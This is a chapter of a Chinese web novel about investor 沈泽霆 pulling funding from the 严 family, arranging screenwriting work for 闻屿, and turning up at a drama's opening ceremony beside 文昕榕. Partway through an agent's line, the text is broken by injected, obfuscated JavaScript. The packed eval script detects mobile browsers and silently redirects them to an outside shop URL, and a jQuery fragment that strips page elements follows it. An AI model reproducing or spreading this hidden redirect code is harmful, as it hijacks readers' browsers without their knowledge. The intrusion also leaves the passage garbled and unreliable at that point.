13. 第十三章
    沈泽霆外放着通话,专注在眼前的报表。

    电话里的中年男声还在倚老卖老地教导,又听了两句,沈泽霆道:“六叔,我称您一句六叔,那是基于您与我父亲的交情。但说白了,您跟我之间可没有恩情可言。”

    “父辈的交情难道就不是情了吗?”

    “如果您认为是,那就是,我尊老。”

    六叔又说了几句,话里话外都是让沈泽霆不要撤资,东拉西扯的,搬了一堆人出来,最后说道——

    “严家现任家主可跟你们家老爷子是多年好朋友,你这样做是在打他的脸。”

    “老爷子的脸是什么打不得的东西吗?”

    沈泽霆心中讽笑,又是一个看不清当前局势,只沉浸在自我世界里的人。

    六叔一顿,似乎是没想到他会这么不客气,过了一会儿,又放缓语气道:“你现在根基不稳,要是想在宣城立足,这严家还是不要得罪为好。”

    “严家的保护伞前两天被带走调查,您认为沈家有必要与他们走得近么?六叔,独善其身,我想您不会不知道吧?”

    “什么时候的事?我怎么不知道?”他明显有点着急了。

    沈泽霆道:“没事,过两天就有新闻了,不急于一时。”

    “就算严家真的倒台,严思梦从不参与他们的生意,她就是个努力追梦的小女生,没必要对她赶尽杀绝。”

    “为什么不?”

    六叔:“这样会显得你斤斤计较,不利于企业形象。”

    “我不在乎。”

    “那些股东都闹翻天了。”

    沈泽霆滚着鼠标滚轮,轻轻一笑,“股东都闹到您那儿了?可我记得星耀是我一手创立,要是没记错的话,持股比例最高的,除我之外就是单家。”

    “难道是单家人在闹?稍等,我问问单奕均,不过这个点他可能还在开会。”

    六叔更慌了,“别,别打,我就这么一说。”

    。

    “既然大股东没意见,就证明我的决断没错。六叔,您要是还有闲工夫替什么人当说客,不如先去查查您这些年跟严家之间的往来,在事态更严重之前,想办法补救。”

    “不然,别说您维系多年的产业,到时候那群小五小六闹起来,脸面都没法要了。”

    “看在我爸的面子上,还是想温馨提醒您一句,老爷子已经不是当年那个能够一手遮天的沈家家主了,良禽择木而栖,您是聪明人,应当知道该怎么做。”

    “我得去开会了,有机会再一起钓鱼。”

    不等对方回答,沈泽霆按下挂断键。签完文件,手机又响,是个没有备注的座机号码。

    他很快接通,“我想着,你也该给我打电话了。”

    “筹备这么久,为这么群小人撤资,有失妥帖。这可是近两年少有拿出手的项目,后续利润颇大。”

    沈泽霆道:“商人重利,我更重自己。没了这个项目,我还有其他的,只要有钱,什么事办不成。”

    对面传来一声笑,“你是看重自己,还是看重别的什么人?以前在大学的时候也出现过类似的事,没见你有这么大反应。是怕什么人误会吗?”

    “你管太多了。”

    “闻屿,听海,一听就是一对好名字。”

    沈泽霆道:“这样的夸奖我已经听得耳朵起茧子了,你有别的事吗?还是只想打电话来看热闹?”

    “热闹我可没太多时间看,我是想来告诉你,严家那边给我打了感情牌,让我来劝你。”

    “你劝完了,我不接受。”

    单奕均道:“OK,任务完成,后续你自己解决。还有件事,你那个叫闻屿的男,哦,前男友,能写电影本子吗?我看过他的履历,只有一部微电影,倒是上过国际电影节,但得的是最佳摄影。”

    沈泽霆:“我问问,你打算做什么项目?”

    “之前方杨导演联系我,说退休日子太闲想出山,本来是想请老搭档写本子,但老搭档给推荐了闻屿。方导演不太熟悉这个名字,托我帮着打听。”

    “这老爷子又待不住了?之前不是说在经营农庄吗?这么快就不干了?”

    单奕均道:“就是因为经营农庄赚到了钱,又动了拍电影的念头。”

    “行。我稍后联系他,问问他具体需求。”

    “要是闻屿的能力真的够强,我会考虑把我这儿的项目也给他。”

    沈泽霆:“让他喘口气吧,行吗?”

    “先告一段落,我还有事,有空再聊。”

    “有空也不找你聊了。”

    单奕均挂了电话,沈泽霆点开微信,给方杨导演发去信息。

    *

    严思梦闹出来的动静持续没几天就消停下来,取而代之是警方发布公告,通报取缔两家从事网络水军业务的互联网公司。

    公告一出,出于好奇的网友开始搜索严思梦的名字,在最新发布的与其相关的博文评论区冷清不少。

    他们又等了一小时,还是稀稀拉拉那么点人,又有人去做关于她超话签到数据的变化表,发现签到人数和发帖数一夜之间骤减。

    对于公众人物来说,买数据买水军已经是个公开的秘密,但架不住退潮之后裸泳的样子实在好笑。

    再加上严思梦之前不加约束粉丝,任由他们在外头胡言乱语,自己也不停捆绑有点名气的男女艺人,如今踢到铁板,骤然熄火,其他艺人的粉丝自然会觉得大快人心。

    一时间,吵架的有之,看热闹的有之,散发阴谋论的有之,讨伐资本的有之,倒是为她贡献了出道以来最大的热度。

    但很可惜,星耀明晃晃地撤资以及那位保护伞被带走调查后,业内人士皆决定观望。

    她原本就没多少的工作更是一下子清空,成天坐在家里发脾气,同公司的小花们看她颓势明显,当即瓜分她的团队成员,虽然也没几个人,但聊胜于无。

    他们的老板更是一个头两个大,三天两头联系常寿,想组个饭局道歉,还一口咬定这事只是艺人擅作主张,他并不知情。

    都是千年的狐狸,沈泽霆也没想跟他玩聊斋,让常寿把撤回来的资金挪出一部分给《X计划》使用。

    《X计划》从导演到现场工作人员,按一开始的计划,薪资都是往高性价比谈。如今突然多了一大笔钱,导演和制片都被砸得满眼金星,导演还计划着要不要拍点大场面,被突然在群里冒出头的文昕榕叫停。

    文昕榕看过这位导演以前拍过的‘大场面’,说点难听的,就是画蛇添足。

    刑侦或悬疑题材有大场面很正常,但他总把镜头插得异常突兀且无用,更诡异的在于,明明是实景拍摄,播出之后总有种很重的绿幕感,把钱花在这里跟往海里倒没太大差别。

    被文昕榕这么一拦,导演有点老大不高兴,可文昕榕说得诚恳,找不出错漏,他只能把想法先压下去,转聊起过段日子的项目开机事项。

    剧组开机仪式当天上午九点是吉时,耽误不得,相关人员必须准时到达。这天天气也好,晴天但不晒,有点风但不凉。

    文昕榕提前半小时到达,这是他一直以来的习惯。

    尽管项目尽量选择原班人马,但因为换了导演和制片,由他们带来的团队工作人员都是生脸。

    文昕榕大致扫过,去找主演之一郑莱的经纪人聊天。

    郑莱团队和今天因档期缺席的另位演员团队跟文昕榕在之前的工作中算是同病相怜,有事没事就聚在一块吃饭和聊天。

    而且郑莱经纪人跟展睿辰是好朋友,朋友的朋友肯定也是朋友,关系就更好。

    “谁能晓得有一天真能重新出现在这个片场里呢。”郑莱经纪人说。

    文昕榕道:“可能这就是命运吧。都是朋友,别怪我说话直接,郑莱是不是很久没拍戏了?”

    “有什么难不难听的,是事实。”经纪人叹气,“现在经济不景气,能开机的剧组越来越少。但你真要说没剧拍吧,也说不上,可都是些流水线生产的作品。我们老板觉着演这种剧,不如送他去搬砖。”

    文昕榕憋不住笑,果然是有什么样的老板就能培养出什么样的员工,一个个说话都这么直接好玩。

    “幸好来了个沈总。昕榕,你知道这个沈总回国前是干嘛的不?”

    文昕榕摇头。

    他查过,但搜到的都是沈泽霆回国后的报道,而且更偏向为公司打宣传。

    经纪人想了想,说道:“我之前听人说,他在国外留学的时候投资过一个快解散的剧团。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261296|151643||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    “剧团?”

    “忘记是演音乐剧还是话剧的。”

    文昕榕:“以后总会知道的,你继续说。”

    “沈总硬生生把它盘活了,不知道后面有没有机会让他们来国内巡演。”

    “什么剧啊?”

    经纪人摇头,“这个倒是不清楚。所以我就感觉,沈总在投资文化产业上有一定水平。”

    “他理科出身,对市场经济这块应该也挺敏感的。”

    “理科?他读的不是商科吗?”

    文昕榕忙改口,“那应该是我记错了。”

    两人又聊了几句,就听制片人拿着大喇叭在喊集合。

    每个剧组开机仪式大同小异,卡过吉时上香,再由主持人(这次是制片人担当)介绍过剧组重要工作人员,譬如导演,制片人,编剧,出品方,制片方等。

    在提到出品方的时候,制片人故意拖了口长气,紧接着,文昕榕就看到沈泽霆犹如天降一般出现在导演身侧,跟自己对称站立。

    常寿明明说过他从不出席任何剧组的开机仪式,而且自己根本没从对方那儿听到一点沈泽霆要出现的风声。

    文昕榕在茫然中听完制片人的长篇大论,机械地收下场务分发的红包。

    这是约定俗成的规矩,但红包里头的金额没个定数,一般都是现金,他集齐过整套颜色的人民币。

    之前还有同事在其他剧组拆出过彩票和代金券,彩票刮半天,一毛不得。

    红包发完,这仪式就到收尾阶段,就差合影。

    今天的风有点作怪,燃起的香老往导演那儿跑,他忍不住抽了几下鼻子,制片人来问,回说可能是鼻炎犯了,不碍事。

    “小闻老师对香的味道敏感吗?”制片人突然问。

    文昕榕摇头。

    “那要不受累跟导演换个位置?”

    香炉的位置是事先算好的,说是有什么阵法加持,不能乱动,只能动人。

    文昕榕见导演把鼻子揪得通红,眼睛也不停眨巴,瞧着有点可怜,便同意更换。而这一换,他就跟沈泽霆挨着了。

    导演换过位置,情况稍稍好转,冲制片人打了个手势。

    “各位兄弟姐妹们做好准备,要拍大合影了。”制片人的大喇叭又开始响。

    咔嚓。时间定格在这一刻。

    仪式正式结束,后勤组开始收拾现场,导演和主演就位,预备在一小时后拍摄本剧的第一场戏。

    人们零零散散地撤离,文昕榕还留在原地,对收起红包的沈泽霆道:“你怎么会来?”

    “有时间就来了。”

    “常寿说你一般不出席的。”

    沈泽霆又道:“你也会说一般,这部剧不太一样。”

    “哪里不一样?因为是你投资的?但你投资了好几部,也没见出席。”

    “你想听我把话挑明吗?”沈泽霆说。

    文昕榕:“可以。”

    “但我又不想说了。”

    文昕榕问起严思梦的事,沈泽霆凝望他好几秒,回道:“老爷子的人脉。你很在意?”

    “我就是好奇,那位不太像你的风格。”

    “所以是谣言。”

    文昕榕垂眼想了想,过去几秒,又抬头问道:“要来看拍摄吗?”

    “来不及,稍后有个会要开。”

    “好吧,有时间可以来探班。”

    沈泽霆嗯了一声,没过多久,跟着来找他的常寿离开,往地下停车场去。

    郑莱的经纪人和艺人助理交代完事情回来,恰好与沈泽霆打了个照面,简单打过招呼,直往文昕榕这边走,喊他一块去拍摄现场,路上还问起他们之前聊了什么。

    文昕榕道:“随便聊聊。”

    “但我感觉你们好像很熟,昕榕,都是兄弟,不会有什么事瞒着我吧?”

    文昕榕摇头,“没什么好瞒的。”

    “不过没想到沈总居然会出席这次的开机仪式,是看在咱们制片的份上吗?”

    “制片?”

    经纪人道:“对啊,你不知道吗?咱们这个制片也参与了沈总那部大制作电影呢,我听别人说,沈总还蛮尊敬他的。”

    看来自己还是误会了。文昕榕心想。